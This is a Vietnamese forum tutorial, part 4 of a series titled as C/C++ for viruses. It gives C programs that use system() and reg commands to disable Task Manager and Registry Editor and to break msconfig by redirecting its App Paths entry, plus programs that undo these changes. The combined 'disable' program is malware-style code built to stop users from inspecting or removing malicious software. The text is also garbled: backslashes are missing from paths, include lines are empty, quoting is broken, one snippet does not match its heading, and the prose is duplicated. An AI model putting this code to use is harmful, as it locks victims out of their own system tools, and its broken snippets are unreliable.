sunny
VIP Members
-
30/06/2014
-
870
-
1.849 bài viết
C, C++ cho Virus (Phần 4): Enable Taskmanager, Disable_Enable Registry, Disable_Enable Msconfig
Phần trước mình đã hướng dẫn các bạn cách để disable TaskManager bằng C bằng cách tạo ra một key mới trong registry. Vậy làm thế nào để enable lại nó? Chúng ta chỉ cần xóa key đó đi trong registry mà thôi, đơn giản đúng không nào.
Nội dung phần 4:
Chúng ta đã tạo key “DisableTaskMgr” trong đường dẫn:
Vậy giờ chúng ta phải xóa nó đi. Trong cmd có một lệnh để xóa key trong regedit đó là reg delelte, cú pháp của nó cũng tương tự như reg add vậy, bạn có thể gõ reg delete /? để có thể xem chi tiết hơn về lệnh này.
Câu lệnh trong C:
2. Disable Registry.
Cái này cũng tương tự như với trường hợp của Task Manager nên mình không nói chi tiết nữa. Bạn cần tạo 1 key mới tên là “disableregistrytools” trong đường dẫn:
Đặt cho nó giá trị là 1 với kiểu là REG_DWORD.
Câu lệnh trong C:
3. Enable Registry.
Tất nhiên rồi, cách làm cũng giống như enable Taskmanager, bạn chỉ cần xóa cái key vừa tạo đi.
Câu lệnh trong C:
4. Disable Msconfig.
Như bạn đã thấy, chúng ta đã disable Taskmanager và Registry bằng cách tạo thêm key ở regedit trong phần policies để tạo chính sách cấm không truy cập vào 2 công cụ đó, nhưng ở phần này mình sẽ sử dụng 1 cách khác để tiếp cận vấn đề này. Tất nhiên là bạn cũng có thể tạo 1 key trong phần policies để disable Msconfig, nhưng bạn biết đấy, để mở công cụ này ra (hay taskmanager, registry cũng thế) windows sẽ cần phải trỏ đến file exe của công cụ này rồi chạy nó. Và mặc định cho các câu lệnh trong Run như: regedit, msconfig, taskmgr là gì? Là nó là 1 câu lệnh viết tắt cho việc thực hiện lệnh trỏ đến đường dẫn đã được định sẵn của các công cụ kia và chạy nó mà thôi. Vậy giờ nếu ta thay đổi đường dẫn mặc định mà Windows đã thiết lập sẵn đó đến một đường dẫn không đúng thì sao? Câu trả lời rõ ràng sẽ là: lúc đó chương trình sẽ không mở chính xác được nữa.
Và đường dẫn mặc định của Msconfig trong Windows là:
Công việc của chúng ta chỉ là tìm ra cái key chứa thiết lập đó và thay đổi nó đi mà thôi. Key đó chính là giá trị mặc định nằm ở đường dẫn:
Bạn hãy lưu ý rằng ở đây là có một đường dẫn “App Paths” có chứa dấu cách, và để gõ một đường dẫn trong CMD có chứa dấu cách bạn phải sử dụng dấu đóng mở ngoặc bao quanh đường dẫn đó.
Như vậy nếu ta muốn add một key nào đó vào đường dẫn trên thông qua CMD ta phải gõ:
chứ không phải là:
Câu lệnh để làm điều này trong C:
5. Enable Msconfig.
Bạn hãy làm điều ngược lại, thay đổi cái giá trị không đúng kia về giá trị mặc định:
6. Tổng hợp
Như vậy chúng ta có thể gộp các đoạn code đã biết thành 1 chương trình, thực hiện chức năng disable taskmanager, registry, msconfig lại như sau:
Và đoạn code để enable chúng:
Phần sau mình sẽ nói về disable cmd và một số vấn đề mà bạn có thể gặp phải khi sử dụng hàm system() cho những thứ mà chúng ta đã sử dụng ở trên.
Nội dung phần 4:
- Enable Task Manager
- Disable Registry
- Enable Registry
- Disable Msconfig
- Enable Msconfig
- Tổng hợp
Chúng ta đã tạo key “DisableTaskMgr” trong đường dẫn:
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
Vậy giờ chúng ta phải xóa nó đi. Trong cmd có một lệnh để xóa key trong regedit đó là reg delelte, cú pháp của nó cũng tương tự như reg add vậy, bạn có thể gõ reg delete /? để có thể xem chi tiết hơn về lệnh này.
#include
int main()
{
system("reg delete hkcusoftwaremicrosoftwindows"
"currentversionpoliciessystem"
" /v disabletaskmgr /f");
return 0;
}
2. Disable Registry.
Cái này cũng tương tự như với trường hợp của Task Manager nên mình không nói chi tiết nữa. Bạn cần tạo 1 key mới tên là “disableregistrytools” trong đường dẫn:
HKEY_CURRENT_USERsoftwaremicrosoftwindowscurrentversionpoliciessystem
Đặt cho nó giá trị là 1 với kiểu là REG_DWORD.
Câu lệnh trong C:
#include
int main()
{
system("reg add hkcusoftwaremicrosoftwindows"
"currentversionpoliciessystem"
" /v disableregistrytools /t reg_dword /d 1 /f");
return 0;
}
Tất nhiên rồi, cách làm cũng giống như enable Taskmanager, bạn chỉ cần xóa cái key vừa tạo đi.
Câu lệnh trong C:
#include
int main()
{
system("reg delete hkcusoftwaremicrosoftwindows"
"currentversionpoliciessystem"
" /v disableregistrytools /f");
return 0;
}
4. Disable Msconfig.
Như bạn đã thấy, chúng ta đã disable Taskmanager và Registry bằng cách tạo thêm key ở regedit trong phần policies để tạo chính sách cấm không truy cập vào 2 công cụ đó, nhưng ở phần này mình sẽ sử dụng 1 cách khác để tiếp cận vấn đề này. Tất nhiên là bạn cũng có thể tạo 1 key trong phần policies để disable Msconfig, nhưng bạn biết đấy, để mở công cụ này ra (hay taskmanager, registry cũng thế) windows sẽ cần phải trỏ đến file exe của công cụ này rồi chạy nó. Và mặc định cho các câu lệnh trong Run như: regedit, msconfig, taskmgr là gì? Là nó là 1 câu lệnh viết tắt cho việc thực hiện lệnh trỏ đến đường dẫn đã được định sẵn của các công cụ kia và chạy nó mà thôi. Vậy giờ nếu ta thay đổi đường dẫn mặc định mà Windows đã thiết lập sẵn đó đến một đường dẫn không đúng thì sao? Câu trả lời rõ ràng sẽ là: lúc đó chương trình sẽ không mở chính xác được nữa.
Và đường dẫn mặc định của Msconfig trong Windows là:
C:WINDOWSPCHealthHelpCtrBinariesMSConfig.exe
Công việc của chúng ta chỉ là tìm ra cái key chứa thiết lập đó và thay đổi nó đi mà thôi. Key đó chính là giá trị mặc định nằm ở đường dẫn:
HKEY_LOCAL_MACHINEsoftwaremicrosoftwindowscurrentversionapp pathsmsconfig.exe
Bạn hãy lưu ý rằng ở đây là có một đường dẫn “App Paths” có chứa dấu cách, và để gõ một đường dẫn trong CMD có chứa dấu cách bạn phải sử dụng dấu đóng mở ngoặc bao quanh đường dẫn đó.
Như vậy nếu ta muốn add một key nào đó vào đường dẫn trên thông qua CMD ta phải gõ:
Reg add “HKEY_LOCAL_MACHINEsoftwaremicrosoftwindowscurrentversionapp pathsmsconfig.exe”
chứ không phải là:
Reg add HKEY_LOCAL_MACHINEsoftwaremicrosoftwindowscurrentversionapp pathsmsconfig.exe
Câu lệnh để làm điều này trong C:
#include
int main()
{
system("reg add hkcusoftwaremicrosoftwindows"
"currentversionpoliciessystem"
" /v disabletaskmgr /t reg_dword /d 1 /f");
return 0;
}
Bạn hãy làm điều ngược lại, thay đổi cái giá trị không đúng kia về giá trị mặc định:
#include
int main()
{
system("reg add "hklmsoftwaremicrosoftwindows"
"currentversionapp pathsmsconfig.exe"
"" /v "" /d C:WINDOWSPCHealth"
"HelpCtrBinariesMSConfig.exe /f");
return 0;
}
6. Tổng hợp
Như vậy chúng ta có thể gộp các đoạn code đã biết thành 1 chương trình, thực hiện chức năng disable taskmanager, registry, msconfig lại như sau:
#include
int main()
{
system("reg add hkcusoftwaremicrosoftwindows"
"currentversionpoliciessystem"
" /v disableregistrytools /t reg_dword /d 1 /f");
system("reg add hkcusoftwaremicrosoftwindows"
"currentversionpoliciessystem"
" /v disabletaskmgr /t reg_dword /d 1 /f");
system("reg add "hklmsoftwaremicrosoftwindows"
"currentversionapp pathsmsconfig.exe"
"" /v "" /d 1 /f");
return 0;
}
Và đoạn code để enable chúng:
#include
int main()
{
system("reg delete hkcusoftwaremicrosoftwindows"
"currentversionpoliciessystem"
" /v disableregistrytools /f");
system("reg delete hkcusoftwaremicrosoftwindows"
"currentversionpoliciessystem"
" /v disabletaskmgr /f");
system("reg add "hklmsoftwaremicrosoftwindows"
"currentversionapp pathsmsconfig.exe"
"" /v "" /d C:WINDOWSPCHealth"
"HelpCtrBinariesMSConfig.exe /f");
return 0;
}
Phần sau mình sẽ nói về disable cmd và một số vấn đề mà bạn có thể gặp phải khi sử dụng hàm system() cho những thứ mà chúng ta đã sử dụng ở trên.
Chỉnh sửa lần cuối bởi người điều hành: